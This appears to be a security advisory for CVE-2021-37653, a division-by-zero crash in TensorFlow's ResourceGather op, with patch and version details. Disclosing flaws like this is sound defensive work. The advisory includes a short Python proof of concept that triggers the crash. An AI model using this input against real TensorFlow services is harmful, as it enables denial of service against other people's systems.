CVE-2021-37653: Division by 0 in `ResourceGather` in TensorFlow
First published: Thu Aug 12 2021(Updated: )
### Impact An attacker can trigger a crash via a floating point exception in `tf.raw_ops.ResourceGather`: ```python import tensorflow as tf tensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32) v = tf.Variable(tensor) tf.raw_ops.ResourceGather( resource=v.handle, indices=[0], dtype=tf.uint32, batch_dims=1, validate_indices=False) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L725-L731) computes the value of a value, `batch_size`, and then divides by it without checking that this value is not 0. ### Patches We have patched the issue in GitHub commit [ac117ee8a8ea57b73d34665cdf00ef3303bc0b11](https://github.com/tensorflow/tensorflow/commit/ac117ee8a8ea57b73d34665cdf00ef3303bc0b11). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
